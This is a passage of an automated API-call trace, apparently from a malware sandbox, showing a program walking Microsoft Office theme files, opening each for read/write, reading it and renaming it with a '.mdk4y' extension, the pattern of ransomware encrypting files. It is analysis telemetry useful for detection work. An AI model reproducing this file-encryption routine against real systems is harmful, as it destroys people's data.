(in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825325900000) returned 1 [0178.029] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6818, lpOverlapped=0x0) returned 1 [0178.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825326100000) returned 1 [0178.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825326100000) returned 1 [0178.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.mdk4y")) returned 1 [0178.032] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.032] AreFileApisANSI () returned 1 [0178.032] GetACP () returned 0x4e4 [0178.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Foundry.eftx", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Foundry.eftxtx", lpUsedDefaultChar=0x37df4c) returned 12 [0178.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825326300000) returned 1 [0178.033] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4732, lpOverlapped=0x0) returned 1 [0178.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825326700000) returned 1 [0178.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825326700000) returned 1 [0178.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.mdk4y")) returned 1 [0178.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.039] AreFileApisANSI () returned 1 [0178.039] GetACP () returned 0x4e4 [0178.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Grid.eftx", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Grid.eftxftx", lpUsedDefaultChar=0x37df4c) returned 9 [0178.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825326900000) returned 1 [0178.039] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x48cf, lpOverlapped=0x0) returned 1 [0178.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825327100000) returned 1 [0178.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825327100000) returned 1 [0178.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.mdk4y")) returned 1 [0178.042] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.042] AreFileApisANSI () returned 1 [0178.042] GetACP () returned 0x4e4 [0178.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hardcover.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Hardcover.eftx", lpUsedDefaultChar=0x37df4c) returned 14 [0178.042] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825327300000) returned 1 [0178.043] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x559e1, lpOverlapped=0x0) returned 1 [0178.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825328800000) returned 1 [0178.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825328800000) returned 1 [0178.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.mdk4y")) returned 1 [0178.063] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.063] AreFileApisANSI () returned 1 [0178.063] GetACP () returned 0x4e4 [0178.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Horizon.eftx", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Horizon.eftxtx", lpUsedDefaultChar=0x37df4c) returned 12 [0178.063] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825329400000) returned 1 [0178.064] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x33892, lpOverlapped=0x0) returned 1 [0178.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825331100000) returned 1 [0178.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825331100000) returned 1 [0178.084] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.mdk4y")) returned 1 [0178.085] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.085] AreFileApisANSI () returned 1 [0178.085] GetACP () returned 0x4e4 [0178.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Median.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Median.eftxx", lpUsedDefaultChar=0x37df4c) returned 11 [0178.085] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825331600000) returned 1 [0178.086] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9a7a, lpOverlapped=0x0) returned 1 [0178.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825332700000) returned 1 [0178.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825332800000) returned 1 [0178.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.mdk4y")) returned 1 [0178.100] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.100] AreFileApisANSI () returned 1 [0178.100] GetACP () returned 0x4e4 [0178.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Metro.eftx", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Metro.eftxx", lpUsedDefaultChar=0x37df4c) returned 10 [0178.100] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825333000000) returned 1 [0178.100] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5e35, lpOverlapped=0x0) returned 1 [0178.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825335200000) returned 1 [0178.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825335200000) returned 1 [0178.123] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.mdk4y")) returned 1 [0178.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.124] AreFileApisANSI () returned 1 [0178.124] GetACP () returned 0x4e4 [0178.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Module.eftx", lpUsedDefaultChar=0x37df4c) returned 11 [0178.125] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825335500000) returned 1 [0178.125] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa95d, lpOverlapped=0x0) returned 1 [0178.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825335700000) returned 1 [0178.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825335700000) returned 1 [0178.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.mdk4y")) returned 1 [0178.128] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.128] AreFileApisANSI () returned 1 [0178.128] GetACP () returned 0x4e4 [0178.128] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Newsprint.eftx", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Newsprint.eftx", lpUsedDefaultChar=0x37df4c) returned 14 [0178.128] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825335900000) returned 1 [0178.129] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8e301, lpOverlapped=0x0) returned 1 [0178.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825338400000) returned 1 [0178.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825338400000) returned 1 [0178.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.mdk4y")) returned 1 [0178.162] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.162] AreFileApisANSI () returned 1 [0178.162] GetACP () returned 0x4e4 [0178.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Opulent.eftx", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Opulent.eftxtx", lpUsedDefaultChar=0x37df4c) returned 12 [0178.162] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825339300000) returned 1 [0178.163] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8059, lpOverlapped=0x0) returned 1 [0178.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825339500000) returned 1 [0178.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825339500000) returned 1 [0178.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.mdk4y")) returned 1 [0178.167] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.167] AreFileApisANSI () returned 1 [0178.167] GetACP () returned 0x4e4 [0178.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oriel.eftx", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Oriel.eftxtx", lpUsedDefaultChar=0x37df4c) returned 10 [0178.167] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825339800000) returned 1 [0178.168] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa8b9, lpOverlapped=0x0) returned 1 [0178.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825343200000) returned 1 [0178.202] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825343200000) returned 1 [0178.203] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.mdk4y")) returned 1 [0178.205] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.205] AreFileApisANSI () returned 1 [0178.205] GetACP () returned 0x4e4 [0178.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Origin.eftx", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Origin.eftxx", lpUsedDefaultChar=0x37df4c) returned 11 [0178.205] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825343600000) returned 1 [0178.206] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9fed, lpOverlapped=0x0) returned 1 [0178.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825345000000) returned 1 [0178.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825345000000) returned 1 [0178.221] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.mdk4y")) returned 1 [0178.222] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.222] AreFileApisANSI () returned 1 [0178.222] GetACP () returned 0x4e4 [0178.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Paper.eftx", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Paper.eftxx", lpUsedDefaultChar=0x37df4c) returned 10 [0178.222] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825345300000) returned 1 [0178.223] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x37d8a, lpOverlapped=0x0) returned 1 [0178.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825350200000) returned 1 [0178.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825350200000) returned 1 [0178.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.mdk4y")) returned 1 [0178.276] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.276] AreFileApisANSI () returned 1 [0178.276] GetACP () returned 0x4e4 [0178.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Perspective.eftx", cchWideChar=16, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Perspective.eftxff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37df4c) returned 16 [0178.276] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825350700000) returned 1 [0178.277] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x53af, lpOverlapped=0x0) returned 1 [0178.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825352200000) returned 1 [0178.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825352200000) returned 1 [0178.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.mdk4y")) returned 1 [0178.294] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.294] AreFileApisANSI () returned 1 [0178.294] GetACP () returned 0x4e4 [0178.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pushpin.eftx", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Pushpin.eftxeftx", lpUsedDefaultChar=0x37df4c) returned 12 [0178.294] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.295] 